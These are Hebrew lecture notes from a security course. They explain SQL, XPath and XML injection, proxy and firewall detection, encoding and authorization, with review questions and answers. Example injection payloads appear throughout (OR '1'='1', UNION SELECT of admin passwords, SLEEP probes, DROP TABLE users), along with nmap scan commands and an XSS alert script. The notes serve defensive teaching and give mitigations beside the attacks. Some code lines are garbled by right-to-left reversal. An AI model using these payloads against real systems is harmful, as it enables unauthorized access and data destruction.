- SQL Injection היא טכניקת התקפה שבה התוקף מחדיר קוד SQL זדוני לתוך שאילתת Query של בסיס נתונים דרך קלט שאינו מוגן כראוי. ההתקפה מנצלת חולשה בקוד התוכנה שמבצע שאילתות SQL בבסיס הנתונים, ומאפשרת לתוקף לבצע פעולות לא מורשות כמו גישה למידע רגיש, שינוי או מחיקת נתונים, ואף השתלטות על המערכת כולה.

## כיצד מתרחשת הזרקת SQL?

- כיצד מתרחשת הזרקת SQL?
- הזרקת SQL מתרחשת כאשר אפליקציה מקבלת קלט מהמשתמש ומשתמשת בו לבניית שאילתת SQL מבלי לאמת או לנקות את הקלט כראוי. לדוגמה, באתר שבו משתמש מתבקש להזין שם משתמש וסיסמה, הקלט מועבר לתוך שאילתת SQL לצורך אימות המידע.

## סוגים של SQL Injection

- סוגים של SQL Injection
- 1. Classic SQL Injection: ניצול ישיר של קלט לא מאובטח לביצוע שאילתות לא רצויות.
- 2. Blind SQL Injection: כאשר התוקף אינו מקבל משוב ישיר מהשרת על הצלחת או כשלון ההתקפה, אך עדיין יכול לחלץ מידע על ידי מניפולציות מתוחכמות.
- 3. Error-Based SQL Injection: ניצול שגיאות שנוצרות במערכת כדי לחלץ מידע על מבנה הנתונים.
- 4. Union-Based SQL Injection: שימוש בפעולת UNION כדי להוסיף נתונים נוספים לפלט השאילתה.

## כיצד להגן מפני SQL Injection?

- כיצד להגן מפני SQL Injection?
- 1. Validation: בדיקת קלט ואימותו לפני השימוש בו בשאילתות SQL.
- 2. Parameterized Queries: שימוש בשאילתות פרמטריות (Prepared Statements) שמונעות שילוב קוד זדוני.
- 3. Stored Procedures: שימוש בפרוצדורות מאוחסנות בבסיס הנתונים שמפרידות בין הקוד לבין הקלט.
- 4. ORM (Object-Relational Mapping): שימוש בכלי ORM שמבצעים את השאילתות בצורה מאובטחת.

- 5. הצפנה של קלט רגיש: הצפנה ושמירה של מידע רגיש כמו סיסמאות באופן מאובטח.

## דוגמה בסיסית להזרקת SQL

- דוגמה בסיסית להזרקת SQL
- נניח שיש לנו קוד ב-PHP שמבצע אימות משתמש בצורה הבאה:
 

```
php?>
;username = $_POST['username']$
;password = $_POST['password']$
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
;result = mysqli_query($conn, $query)$
```
- המשך - דוגמה בסיסית להזרקת SQL
- בגדול: הקוד מקבל שם משתמש וסיסמה מטופס, יוצר שאילתת SQL לחפש משתמש עם שם המשתמש והסיסמה הללו בטבלת users ומבצע את השאילתה במסד הנתונים, כלומר כאשר המשתמש מזין שם משתמש וסיסמה, הקוד בונה שאילתת SQL ומריץ אותה בסיס הנתונים.
- נניח שמשתמש מזין את הפרטים הבאים:
 

```
Username: admin
'Password: OR '1' = '1'
```
- הקוד ייצר את השאילתה הבאה:
 

```
SELECT * FROM users WHERE username = 'admin' AND password = " OR '1'='1';
```
- השאילתה תבחר את כל המשתמשים שבהם התנאי  $1=1$  הוא תמיד נכון, וכך התוקף יקבל גישה למערכת ללא צורך בסיסמה.

## דוגמה לשימוש בשאילתות פרמטריות ב-PHP

- דוגמה לשימוש בשאילתות פרמטריות ב-PHP
- כאן, השאילתה משתמשת בפרמטרים שמונעים מהתוקף להזריק קוד זדוני. פרמטרים אלה מוודאים שהקלט מתייחס כקלט בלבד, ולא כחלק מהקוד.
- ```
php?>
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
;stmt->bind_param("ss", $username, $password)$
;()stmt->execute$
;()result = $stmt->get_result$
```
- המשך - דוגמה לשימוש בשאילתות פרמטריות ב-PHP
- הקוד הזה מכין שאילתת SQL שמחפשת משתמש בטבלת users על פי שם משתמש וסיסמה, תוך שימוש ב-Prepared Statements כדי למנוע SQL Injection.
- הסבר:
 - הפונקציה prepare יוצרת את השאילתה עם מקומות שמורים ? לערכים שיכנסו מאוחר יותר.
 - הפונקציה bind_param קושרת את הערכים של המשתנים username ו-password למקומות השמורים בשאילתה בצורה מאובטחת.
 - לבסוף, השאילתה מתבצעת באמצעות execute.
 - השימוש ב-Prepared Statements מונע SQL Injection על ידי הקפדה שהערכים יכנסו לשאילתה בצורה בטוחה ומבוקרת.

Union-Based SQL Injection

- Union-Based SQL Injection
- Union-Based SQL Injection היא שיטה שבה התוקף משתמש בפקודת UNION כדי לשלב תוצאות משתי שאילתות שונות לפלט אחד. זה מאפשר לתוקף להוסיף נתונים משולחן אחר לשאילתה המקורית.

• דוגמה:

• נניח שיש לנו שאילתה:

SELECT name, email FROM users WHERE id = 1;

• תוקף יכול להזריק את הטקסט הבא:

1 UNION SELECT username, password FROM admin_users--

• השאילתה החדשה תראה כך:

SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM admin_users;

• כעת, התוקף יקבל בפלט את כל שמות המשתמשים והסיסמאות מהטבלה admin_users

Boolean-Based Blind SQL Injection

• Boolean-Based Blind SQL Injection

• Blind SQL Injection מתרחשת כאשר האתר אינו מחזיר הודעות שגיאה ברורות, אך עדיין ניתן להבחין בתגובות שונות על פי תנאים שמכניסים לשאילתה.

• דוגמה:

• נניח שיש לנו שאילתה שבודקת אם שם המשתמש קיים:

SELECT * FROM users WHERE username = '\$username';

• התוקף יכול לבדוק תנאים בצורה עיוורת כך:

'--OR 1=1 '•

• או:

'--OR 'a'='a '•

• כדי לבדוק אם הביטוי מחזיר נכון (ולכן מראה שהתנאי מתקיים), התוקף יכול לבדוק בתגובת השרת אם המידע

נמצא או לא. כך, ניתן לאט לאט לחשוף מידע על בסיס הנתונים, אפילו אם אין משוב ישיר מהשרת.

• לסיכום: את הדבר הזה עושים כאשר האתר אינו מחזיר הודעות שגיאה ברורות, אך התוקף יכול לבדוק אם תנאים

בשאילתה מתקיימים על פי תגובות שונות מהשרת (כמו עמוד שמופיע או נעלם). למשל, התוקף יכול להוסיף תנאי

כמו '1=1--OR' לשאילתה ולראות אם התגובה שונה ממצב בו התנאי לא מתקיים באמצעות שינוי התנאים, התוקף

יכול "לנחש" את מבנה ומידע בסיס הנתונים בצורה עיוורת (בלי משוב ישיר מהשרת).

Time-Based Blind SQL Injection

• Time-Based Blind SQL Injection

• בשיטה זו, התוקף משתמש בפונקציות שמאטות את תגובת השרת כדי לקבוע אם תנאי מסוים מתקיים. זוהי דרך

נוספת להוציא מידע מבסיס נתונים כאשר אין משוב ישיר.

• דוגמה:

• נניח ששאילתה מאפשרת לתוקף לבדוק את השאילתה עם פונקציית SLEEP():

'--OR IF(1=1, SLEEP(5), 0) '•

• הפונקציה IF בודקת אם התנאי 1=1 (תנאי שתמיד נכון). אם התנאי נכון, מבצע המתנה של 5 שניות בעזרת

SLEEP(5) אם התנאי לא נכון (במקרה הזה לא יכול להיות), מחזיר 0 ללא עיכוב.

• אם השרת עוקב אחרי הזמן ומבצע הפסקה של 5 שניות, התוקף יודע שהתנאי מתקיים.

Extracting Data Using Error Messages

• Extracting Data Using Error Messages

• בהתקפות Error-Based SQL Injection התוקף מנצל את שגיאות ה-SQL שמחזיר השרת כדי לחשוף מידע רגיש על מבנה בסיס הנתונים.

• דוגמה:

• אם שאילתת SQL בנויה באופן שמחזירה שגיאות מהשרת, תוקף יכול לנסות להכניס שאילתה זדונית כדי לגרום

לשגיאה שמחזירה מידע:

—(SELECT COUNT(*) FROM information_schema.tables) AND 1=1

• הביטוי משמש כדי לבדוק אם השאילתה מצליחה לחשוף את מספר הטבלאות בבסיס הנתונים. הוא מוסיף תנאי

לשאילתה שמוודא אם מספר הטבלאות שווה ל-1. אם יש התאמה, ייתכן שהתוצאה נחשפת או לא.

- שגיאה זו יכולה לחשוף כמה טבלאות קיימות בבסיס הנתונים.
- הזרקת SQL (SQL Injection): הביטוי משתמש ב- AND כדי להוסיף תנאים לשאילתה המקורית, מה שמאפשר לתוקף להזריק קוד SQL נוסף לשאילתה ולבצע פעולות בלתי מורשות.

Second-Order SQL Injection

- Second-Order SQL Injection
- בהתקפת Second-Order SQL Injection התוקף אינו רואה את הפלט המיידי מהשאילתה שהוא מזריק, אלא מזריק קוד זדוני שנשמר בבסיס הנתונים, ומופעל בשלב מאוחר יותר על ידי מערכת אחרת או אירוע אחר.
- דוגמה:
- תוקף מזין שם משתמש כזה:
- --';abc'; DROP TABLE users
- התוקף מזין את הערך --';abc'; DROP TABLE users לשדה שם המשתמש. הביטוי ' סוגר את הציטוט של השאילתה המקורית, והחלק --';DROP TABLE users; מוסיף פקודת SQL חדשה.
- אם השם נשמר כמו שהוא, במועד מאוחר יותר בעת שאילתת SQL אחרת שמתבצעת על שם המשתמש, הפקודה הזדונית תתבצע.

מה זה Xpath Injection?

- מה זה Xpath Injection?
- Xpath Injection היא שיטה בה תוקף מנצל חולשות בקוד של שאילתות Xpath כדי להשיג מידע שהוא לא אמור לגשת אליו או לבצע פעולות לא רצויות על הנתונים - בהמשך נראה דוגמאות לדבר.

מה זה Xpath?

- מה זה Xpath?
- Xpath (XML Path Language) היא שפת חיפוש ומניפולציה המיועדת לעבוד עם מסמכים במבנה XML Xpath. מאפשרת לנו לאתר, לחלץ, ולבצע פעולות על חלקים שונים של מסמך XML בצורה גמישה ויעילה.
- מבנה XML
- לפני שנצלול לעומק, Xpath נבין מה זה XML:
- XML (eXtensible Markup Language) היא שפת תיאור נתונים שמשמשת לארגון ולייצוג מידע בצורה היררכית באמצעות תגיות tags.

מבנה של XML

- מבנה של XML
- מסמך XML בנוי כעץ שבו כל תגית element יכולה להכיל תגיות נוספות sub-elements | תוכן text
- לדוגמה:
- <library>
- <book>
- <title>Introduction to Xpath</title>
- <author>John Doe</author>
- <year>2024</year>
- </book>
- <title>Advanced XML Techniques</title>
- <author>Jane Smith</author>
- <year>2023</year>
- </library>
- במסמך זה, ה-XML מייצג ספרייה שמכילה שני ספרים.

כיצד Xpath פועלת?

- כיצד Xpath פועלת?
- Xpath מאפשרת לחפש נתונים ולבצע מניפולציות עליהם תוך שימוש בנתיב path שמצביע על המיקום של הנתונים בתוך המסמך XML.
- דוגמאות ליכולות Xpath
- בחירת אלמנטים לפי נתיב:
- לבחור את כל הספרים:
- library/book/
- לבחור את שם הספר של כל הספרים:
- library/book/title/
- חיפוש לפי תכנים:
- למצוא את שם הספר של ספר שפורסם בשנת 2024:
- library/book[year='2024']/title/
- כאן [year='2024'] book סינון את הספרים לפי השנה, ולאחר מכן title מחלץ את שם הספר של ספרים שעמדו בתנאים.
- המשך - כיצד Xpath פועלת?
- המשך דוגמאות ליכולות Xpath
- שימוש בפונקציות:
- למצוא את שם הספר הראשון:
- library/book[1]/title/
- כאן [1] מספק את הספר הראשון ברשימה.
- שימוש באופרטורים:
- למצוא ספרים ששם המחבר שלהם הוא "John Doe" או "Jane Smith":
- library/book[author='John Doe' or author='Jane Smith']/
- כאן or מאפשר לבחור ספרים שמתאימים לפחות אחד מהתנאים.

הפונקציות והסימונים ב-Xpath

- הפונקציות והסימונים ב-Xpath
- /: מסמן את השורש של המסמך או את תחילת הנתיב.
- //: מסמן חיפוש בכל מקום בעץ.
- @: משמש לגישה למאפיינים של תגיות attributes
- []: מספק תנאים לסינון.
- לסיכום, Xpath היא שפה חזקה וגמישה לחיפוש ולמניפולציה של נתונים במבני XML. היא מאפשרת לנו לבחור, לסנן ולהשיג את המידע הרצוי מתוך המסמך בצורה מדויקת ויעילה.

איך עובד XPath Injection?

- איך עובד XPath Injection?
- בדרך כלל, יישומים מבצעים שאילתות XPath כדי לחפש נתונים במסמכי XML. לדוגמה, נניח שיש לנו מסמך XML שמכיל רשימת משתמשים:
- <users>
- <"user id="1>
- <name>John Doe</name>
- <email>john@example.com</email>
- <user/>
- <"user id="2>

- <name>Jane Smith</name>
- <email>jane@example.com</email>
- </users>
- המשך - איך עובד XPath Injection?
- שאילתת XPath שמבקשת את פרטי המשתמש לפי מזהה משתמש יכולה להיראות כך:
users/user[@id='1']/
- אם היישום מקבל את מזהה המשתמש מהמשתמש (user input) ומבצע את השאילתה בצורה ישירה על המסמך XML, תוקף יכול לנסות להזריק קוד זדוני כדי לשנות את התוצאה של השאילתה.

איפה ניתן לבצע XPath Injection

- איפה ניתן לבצע XPath Injection
- 1. שדות חיפוש: כאשר המערכת מאפשרת חיפוש בעזרת מילות מפתח או פרמטרים אחרים באמצעות Xpath.
- 2. טפסים עם קלט: שדות שבהם המשתמש מזין נתונים, והמערכת מבצעת שאילתות XPath עם הערכים שניתנים על ידי המשתמש.
- 3. פרמטרים ב-URL: אם האפליקציה מקבלת פרמטרים דרך ה-URL ומבצעת איתם שאילתות Xpath.

דוגמה להתקפה

- דוגמה להתקפה
- בניח שהיישום שלך מבצע את השאילתה הבאה:
users/user[@id='input']/
- כאשר input הוא מה שהמשתמש הזין. אם התוקף מזין את הערך '1' or '1'='1' or '1'='1'':
users/user[@id='1' or '1'='1']/
- השאילתה הזו תוחזר את כל המשתמשים במסמך XML, כי התנאי '1'='1' תמיד נכון.

איך להגן על עצמך?

- איך להגן על עצמך?
- 1. השתמש בהכנה: כאשר אתה מבצע שאילתות XPath, השתמש בשיטות להכנה כדי להבטיח שהקלט מהמשתמש לא יגרום לבעיה.
- 2. סינון קלט: סנן את הקלט מהמשתמש כדי להבטיח שהוא מכיל רק את הערכים הצפויים.
- 3. הגבלת הרשאות: הקצה הרשאות מינימליות למסמכי XML כדי למנוע גישה לנתונים רגישים.

מה זה XML Injection?

- מה זה XML Injection?
- XML Injection היא סוג של התקפה על יישומים המשתמשים בקבצי XML לצורך אחסון נתונים, תקשורת או קונפיגורציה. בהתקפה זו, תוקף מנצל פרצות בקלט של המשתמש כדי להזריק קוד XML זדוני לתוך מסמך XML.

מה זה XML?

- מה זה XML?
- XML הוא שפה לסימון נתונים שמאפשרת ארגון וייצוג של נתונים בצורה מובנית. XML משמש לתיאור נתונים בצורה שהיא גם קריאה על ידי בני אדם וגם ניתנת לעיבוד על ידי מכונות.
- מאפיינים של XML:
- 1. תגים: XML משתמש בתגים שמוגדרים על ידי המשתמש כדי לארגן את הנתונים. כל פריט נתון מוקף בתגים המגדירים את משמעותו.
- 2. היררכיה: XML מאפשר יצירת מבנה היררכי של נתונים, כך שכל פריט נתון יכול להכיל בתוכו פריטים נוספים.

- 3. עצמאות ממערכת: קבצי XML הם פורמט טקסטואלי, מה שהופך אותם לנגישים ושימושיים במגוון רחב של מערכות הפעלה ותוכנות.
- 4. תיאום נתונים: XML משמש לתיאום נתונים בין מערכות שונות, כמו למשל העברת מידע בין שרת לקוח או בין מערכות תוכנה שונות.

כיצד פועלת XML Injection?

- כיצד פועלת XML Injection?
- 1. הזרקת קוד XML: התוקף מכניס קוד XML זדוני לשדה קלט במטרה לשנות את מבנה ה-XML שהמערכת פועלת עליו.
- 2. ביצוע שאילתות: ה-XML המוזרק עשוי לשמש לביצוע שאילתות נגד מסד נתונים או לשנות את התנהגות היישום.
- 3. ניצול הפרצה: תוקף יכול לקבל גישה למידע רגיש, לשנות נתונים או להשיג שליטה על התנהגות היישום.

סוגי התקפות XML Injection

- סוגי התקפות XML Injection
- 1. הזרקת תגיות XML זדוניות: תוקף מזריק תגיות XML לתוך הקלט, כך שהן משנות את מבנה המסמך או מבצעות פעולות לא רצויות.
- דוגמה: אם הקלט המצופה הוא שם משתמש, והמשתמש מזין `<user><name>admin</name></user>` זה עלול לגרום לשינויים במבנה ה-XML שמוביל להרשאות מנהל.
- 2. שינוי שאילתות XPath/XQuery: התוקף מזריק קוד זדוני לשדה קלט שמבצע שאילתת XPath כך שהשאילתה מחזירה תוצאות לא צפויות או מזיקה.
- דוגמה: אם השאילתה המקורית היא `user[name='user_input']//` והמשתמש מזין `'1'='1' or` השאילתה עלולה להחזיר את כל המשתמשים במקום משתמש ספציפי.
- 3. פגיעה באימות חתימות דיגיטליות: כאשר מערכת מאמתת חתימות דיגיטליות על מסמכי XML, תוקף יכול לשנות את מבנה ה-XML כך שהחתימה תאומת אך תוכן המסמך ישתנה.
- 4. פגיעה בתעבורת XML: תוקף יכול להזריק קוד זדוני לתוך תעבורת XML כדי לשנות נתונים בזמן אמת, לדוגמה בהעברת נתונים בין מערכות.

דוגמה להזרקת XML

- דוגמה להזרקת XML
- נניח שיש לנו יישום שמקבל שם משתמש וסיסמה, ומבצע שאילתת XPath לבדוק את הרשאות המשתמש.
- קוד שאילתת Xpath: `users/user[username='$username' and password='$password']/`
- התוקף יכול להזין בקלט את הערך הבא: `'1'='1' or`
- השאילתה תהפוך להיות: `users/user[username=' or '1'='1' and password='$password']/`
- במקרה זה, התנאי `'1'='1'` תמיד יחזיר ערך נכון, ולכן השאילתה עלולה לאמת את כל המשתמשים, ולאפשר גישה לא מורשית.

הרצאה 7 - אבטחת מידע וסייבר

הסעיפים מסודרים לפי נושאים (כותרות שקופיות), עם איחוד חזרות ושמירה על דוגמאות שמסבירות את החומר.

נושאים כלליים

- הרצאה מס' 7
- מרצה: יניב מורדוב
- גילוי ואיתור Proxy ו-Firewalls
- בקרת גלישה אגרסיבית ברשת
- בעיה:
- בחברה מסוימת העובדים גולשים לאתרים כמו Facebook ו-YouTube במהלך שעות העבודה, מה שמוריד את התפוקה ומאט את הרשת.
- הפתרון:
- בפירוול: יצירת חוקים שיחסמו תעבורה לכתובות האתרים הללו.
- בשרת Proxy: הגדרת Web Filtering לפי קטגוריה של "מדיה חברתית" ו-Streaming
- ב-DNS: שימוש בשירות כמו OpenDNS לחסימה של אתרים לפי שמות דומיין.
- מחרוזות חיבור SQL cleartext
- strong output/entity encoding/ decoding
- Strong Output
- שימוש בקבצים כוללים סיומת INC
- הגנה מפני פריצות ידניות
- IIS Hardening
- Authorization (Authz)
- Fingerprinting Authorization
- זיהוי סריקת (Access Control List) ACL
- Role Matrix
- זיהוי Access Tokens
- ניתוח Session Token

גילוי ואיתור Proxy ו-Firewalls באבטחת מידע

- גילוי ואיתור Proxy ו-Firewalls באבטחת מידע
- הקדמה:
- Proxy ו-Firewalls הם רכיבי מפתח באבטחת מידע שמטרתם להגן על מערכות מפני גישה לא מורשית, התקפות סייבר, וניטור תעבורת רשת.
- Proxy שרת תווך: משמש כמתווך בין המשתמש לאינטרנט. הוא יכול להסתיר כתובות IP ולספק אבטחה נוספת ולבצע סינון תכנים.
- Firewall חומת אש: מסנן תעבורה נכנסת ויוצאת על פי כללים מוגדרים מראש

איך ניתן לגלות Proxy ו-Firewalls?

- איך ניתן לגלות Proxy ו-Firewalls?
- שיטות כלליות:
- ניתוח תעבורה: שימוש בכלי ניטור רשת, כמו Wireshark לזיהוי דפוסים חריגים.
- לדוגמה, תעבורה שחוזרת על עצמה עשויה להצביע על נוכחות Proxy.
- Traceroute: הרצה של traceroute כדי לראות את הנתיבים שעוברת התעבורה. Proxy מוסיף שכבות נוספות של IP בנתיב.

- שליחת פינגים: אם Proxy חוסם ICMP התגובה עשויה להיות Destination Unreachable
- ניסיון חיבור ליציאות חסומות: Firewalls חוסמים יציאות מסוימות. ניתן לבדוק חיבורים ליציאות כמו SSH 22 או MySQL 3306

זיהוי ספציפי

- זיהוי ספציפי:
- Proxy:
- חפשו תגובת HTTP שמכילה שדות כמו via או X-Forwarded-For
- שימוש בכלים כמו nmap עם סקריפטים המזהים Proxy:
`nmap --script http-proxy-info -p8080 <target>`
- Firewalls:
- בדקו תגובות לסריקות יציאות. חומת אש עשויה לחסום יציאות ולהחזיר הודעות כמו Filtered
`nmap -sS -p1-1000 <target>`

סיפור: "ההאקר וה-Proxy האבוד"

- סיפור: "ההאקר וה-Proxy האבוד"
- לפני כמה שנים, חוקר אבטחת מידע נתקל באתר ממשלתי שידע על קיומו של Proxy אך לא ידע כיצד לעקוף אותו.
- הוא השתמש ב-Wireshark לנתח את התעבורה וגילה שה-Proxy מוסיף שדה X-Forwarded-For עם כתובת ה-IP האמיתית של המשתמש.
- החוקר ביצע ניסוי פשוט: הוא שלח בקשה מזויפת שהתחזתה לכתובת פנימית, וה-Proxy אישר את הגישה! זו הייתה חולשה במערכת, מה שאפשר לו לדווח על הפרצה ולסייע בתיקון שלה.

דוגמה מעשית

- דוגמה מעשית:
- בדיקה פשוטה לזיהוי Proxy באמצעות Curl
`curl -I http://example.com`
- בדקו אם יש בשדות התגובה שדה via או X-Forwarded-For
- סריקה לזיהוי Firewall באמצעות nmap
`nmap -p1-1000 -sS <target>`
- אם היציאות מסומנות כ-Filtered סביר להניח שיש Firewall.

שאלות

1. מה ההבדל בין Firewall ל-Proxy?
2. איזה סוגי פיירוול אתה מכיר?
3. מתי כדאי להשתמש ב-Proxy?
1. מה היתרון המרכזי של שימוש בסינון DNS?
2. מה ההבדל בין רשימה שחורה (Blacklist) לרשימה לבנה (Whitelist)?
3. אילו טכנולוגיות מאפשרות יישום בקרת גלישה אגרסיבית?
4. מה החסרונות של בקרת גלישה אגרסיבית?
1. HTML Encoding: נניח שהקלט הוא:
`<script>alert('Hacked!')</script>`
- קודד את המידע כך שיהיה בטוח לשימוש בדף אינטרנט.
2. URL Encoding: הכתובת המקורית:
`https://example.com/search?query=hello world&category=tools`
- קודד את הפרמטרים כך שיתאימו לכתובת URL תקינה.

- 1. מהי הבעיה רגישת בשמירת מידע בקובצי inc. ללא הגנה?
- 2. מה תפקידה של הפקודה (!defined(...)) if בקובץ inc?
- 3. למה כדאי לשמור קובצי inc. בתיקיות שאינן נגישות בין מהאינטרנט?
- 1. מהו הכלי Nmap ומה מטרתו בפריצה ידנית?
- 2. מהו IDS ומה תפקידו בהגנה מפני פריצה ידנית?
- 3. מה היתרון של אימות דו-שלבי?
- 1. מהו IIS ומה תפקידו?
- 2. למה חשוב לעדכן את IIS?
- 3. אילו פרוטוקולי הצפנה מומלץ להפעיל בשרת?
- 4. איך ניתן להקשיח את ההרשאות על ספריית האתר?
- 5. כיצד ניתן להגן על תכנים דינמיים בשרת IIS באמצעות Output Caching?
- 1. מה ההבדל בין Authentication ל-Authorization?
- 2. מה יתרון והחיסרון של RBAC?
- 3. הסבר את עקרון המינימליות ותרגם אותו דניאל לדוגמה מעשית.
- 1. מהו IDOR וכיצד ניתן לזהותו?
- 2. מהי "הסלמת הרשאות" Privilege Escalation?
- 3. איך מונעים חולשות Authorization?
- 1. מהי ACL וכיצד היא מגנה על המערכת?
- 2. איך תוקפים מבצעים סריקת ACL?
- 3. מהן השיטות להגנה מפני סריקות ACL?
- 1. מדוע חשוב לעדכן את המטריצה באופן תקופתי?
- 2. מהי המשמעות של Least Privilege וכיצד הוא מיושם במטריצה?
- 3. מה יכול להשתבש אם המטריצה אינה מנוהלת כראוי?
- 1. מה היתרון של JWT נעל פני Opaque Tokens?
- 2. מה החיסרון המרכזי של Bearer Tokens?
- 3. במה שונה MAC Token מ-Bearer Token?
- 4. תן דוגמה לאופן שבו Access Token יכול להיפרץ וכיצד ניתן להגן עליו.
- 5. כיצד עקרון ה-Least Privilege רלוונטי ל-Access Tokens?
- 1. מהו תפקידו של session token?
- 2. היכן נשמר session token בבצד הלקוח?
- 3. מה היתרון בשימוש ב-HttpOnly Cookies?
- 4. כיצד HTTPS מגן על session token?

תשובות

- 1. Firewall: משמש להגנה על הרשת מפני גישה לא מורשית ומתקפות. הוא מסנן את התעבורה הנכנסת והיוצאת ברמת רשת לפי חוקים מוגדרים.
- Proxy : מתווך בין המשתמש לאינטרנט. הוא מסתיר את כתובת ה-IP, מסנן תכנים מסוימים ומשפר ביצועים (כמו טעינת דפים מהר יותר).
- 2. Firewall מבוסס חומרה: מכשיר פיזי שמגן על כל הרשת (לדוגמה, בחברות וארגונים גדולים).
- Firewall מבוסס תוכנה: תוכנה שמותקנת במחשב מסוים ומגנה על אותו המחשב (למשל Windows Firewall).
- Firewall מבוסס ענן: שירות בענן שמסנן תעבורה באופן מרוחק ומתאים לרשתות מבוזרות.
- 3. כשצריך להסתיר את הזהות וכתובת ה-IP של המשתמש.
- במקרים של סינון תכנים, לדוגמה חסימת אתרים לא רצויים (כמו בבית ספר או בעבודה).
- לשיפור ביצועים, כי שרת Proxy שומר עותקים של תכנים פופולריים ומאיץ את הגלישה.
- 1. היתרון המרכזי הוא מהירות חסימה גבוהה ברמת כתובת האתר (דומיין).
- סינון DNS חוסם אתרים עוד לפני שהתעבורה מגיעה לשרתים הפנימיים, ולכן הוא יעיל, מהיר ופשוט יחסית ליישום.

- רשימה שחורה (Blacklist)
- חסימה של אתרים או קטגוריות מסוימות שנקבעו מראש.
- כל יתר התכנים מאושרים אלא אם הם נמצאים ברשימה.
- דוגמה: חסימת אתרי הימורים או מדיה חברתית.
- רשימה לבנה (Whitelist)
- רק אתרים שאושרו מראש ברשימה יהיו נגישים.
- כל יתר התכנים ייחסמו.
- דוגמה: גישה רק לאתרים הקשורים לעבודה, כמו מערכות פנימיות או שירותים של החברה.
- הטכנולוגיות העיקריות הן:
- פיירוול: יצירת חוקים שחוסמים תעבורה לאתרים מסוימים.
- שרת Proxy: משמש לסינון תכנים והגבלת גישה ברמת כתובות אתרים או קטגוריות.
- סינון: DNS Filtering (חסימה מבוססת על שמות דומיינים URL)
- Web Filtering Appliances: מערכות ייעודיות לסינון תכנים כמו Barracuda, Zscaler
- תוכנות אנטי-וירוס מתקדמות: חלקן כוללות יכולות סינון אתרים.
- החסרונות כוללים:
- חוויית משתמש מוגבלת:
- תכנים לגיטימיים עלולים להיחסם בטעות.
- תחזוקה מורכבת:
- נדרש לעדכן באופן שוטף את הרשימות (Blacklist / Whitelist)
- עקיפה אפשרית:
- משתמשים מתוחכמים יכולים לעקוף את החסימה באמצעות כלים כמו VPN או פרוקסי חיצוני.
- השפעה על ביצועי הרשת:
- מערכות סינון מסוימות עלולות להאט את התעבורה.
- `<script>alert('Hacked!');</script>`
- `>` הופך ל - `<`
- `<` הופך ל - `>`
- ' הופך ל - `#39;`
- התוצאה הזו בטוחה לשימוש בדפי אינטרנט, ולא תתפרש כקוד JavaScript.
- `https://example.com/search?query=hello%20world&category=tools`
- רווח " " הופך ל - `%20`
- 1. הבעיה המרכזית היא שקבצי inc. לא מבוצעת על ידי השרת, אם מישו ניגש לקובץ דרך הדפדפן, הוא יכול לראות את התוכן של הקובץ בטקסט גלוי. זה יכול לכלול סיסמאות, הגדרות מסד נתונים, או מידע רגיש אחר.
- 2. הפקודה האם הגדרת ranking (רגיל SECURE_ACCESS). אם השינוי לא מוגדר, זה אומר שהקובץ ניגש למעשה (ולא כחלק מתוכנית יותר גדולה), זו התוכנית עוצרת עם הודעה למשתמש. זה מונע גישה ישירה לקובץ.
- 3. אם קובצי inc. נמצא מחוץ לתיקיות שנגישות דרך הדפדפן (htdocs או public_html), לא ניתן לגשת באופן עצמאי דרך כתובת URL. זה מבטיח שהקבצים יהיו מוגנים גם אם לא נעשה שימוש באמצעי אבטחה אחרים.
- 1. הוא שרת אינטרנט של מיקרוסופט המשמש לאחסון וניהול אתרים, אפליקציות ושירותי אינטרנט.
- 2. עדכונים מבטיחים תיקון פרצות אבטחה ומונעים ניצול נקודות תורפה.
- 3. TLS 1.2 ו-TLS 1.3.
- 4. הגדר הרשאות קריאה בלבד עבור משתמש IUSR (קשור לhttps), מנע הרשאות כתיבה על ספריות קריטיות.
- 5. הגדר את Output Caching כך שלא ישמור נתונים דינמיים המכילים מידע רגיש,
- 1. אימות (התאמה): תהליך זיהוי משתמש – מי אתה? דוגמה: כניסה למערכת עם שם משתמש וסיסמה.
- הרשאה (הרשאה): לעשות קבלת ההרשאות – מה מותר לך לעשות? דוגמה: האם מותר לך לקובץ מסוים או לבצע פעולה ספציפית.
- 2. יתרון: קל לניהול: מערכת היררכית פשוטה שבה ניתן להגדיר הרשאות לתפקידים מרכזיים.
- תחזוקה מאתגרת במערכות גדולות: ככל שיש יותר משתמשים ותפקידים, הקצאת התפקידים הופכת למסובכת.

- 3. עקרון המינימליות (עקרון הזכות הפחותה): נותנים למשתמשים או תהליכים רק את ההרשאות ההכרחיות לביצוע המשימה שלהם, ולא יותר. דוגמה מעשית: עובד במחלקת הנהלת חשבונות זקוק לגישה לתיקיות הקשורות למחשבות בלבד. הוא לא צריך גישה לתיקיות של מחלקת השיווק או מחלקת הפיתוח.
- השלכות אם לא נצמדים לעקרון: גישה עודפת על לגרום לדליפת נתונים או לפעולות לא מכוונות שעלולות בארגון.
- 1. IDOR הוא פגיעות שבה תוקף יכול לגשת ישירות למשאב מסוים על ידי שינוי מזהה ID בפרמטרים של בקשה. ניתן לזהות IDOR על ידי בדיקת בקשות HTTP ושינוי מזהים כדי לבדוק אם בקרת הגישה פועלת כראוי.
- 2. הסלמת הרשאות היא פעולה שבה תוקף משיג גישה להרשאות גבוהות יותר מאלו שהוקצו לו, לדוגמה:
 - ממשתמש רגיל למנהל Admin, גישה לקבצים או משאבים מוגנים.
 - א. שימוש באימות זהות ובקרת גישה חזקה.
 - ב. בדיקות צד שרת Server-side validation לכלל הבקשות.
 - ג. הטמעת Principle of Least Privilege מתן הרשאות מינימליות.
 - ד. בדיקות אבטחה אוטומטיות כמו סריקות DAST/SAST.
- 3. המערכת צריכה לבדוק אם הקובץ שייך למשתמש הנוכחי לפני שהיא מאפשרת הורדה. אפשר לשפר את הקוד כך:

```
def download_file(user_id, file_id):
    # בדיקה אם המשתמש מורשה לגשת לקובץ
    if is_authorized(user_id, file_id):
        return open_file(file_id)
    else:
        return "Access Denied"

# הפונקציה is_authorized תוודא שהקובץ שייך למשתמש המחובר, לדוגמה:
def is_authorized(user_id, file_id):
    # חיפוש במאגר הנתונים אם הקובץ שייך למשתמש
    file_owner = get_file_owner(file_id)
    return file_owner == user_id
```

- אם user_id של המשתמש הנוכחי אינו תואם את הבעלים של user_id המערכת תחסום את הבקשה ותציג הודעת שגיאה.
- תוקף לא יוכל לגשת לקבצים של משתמשים אחרים.
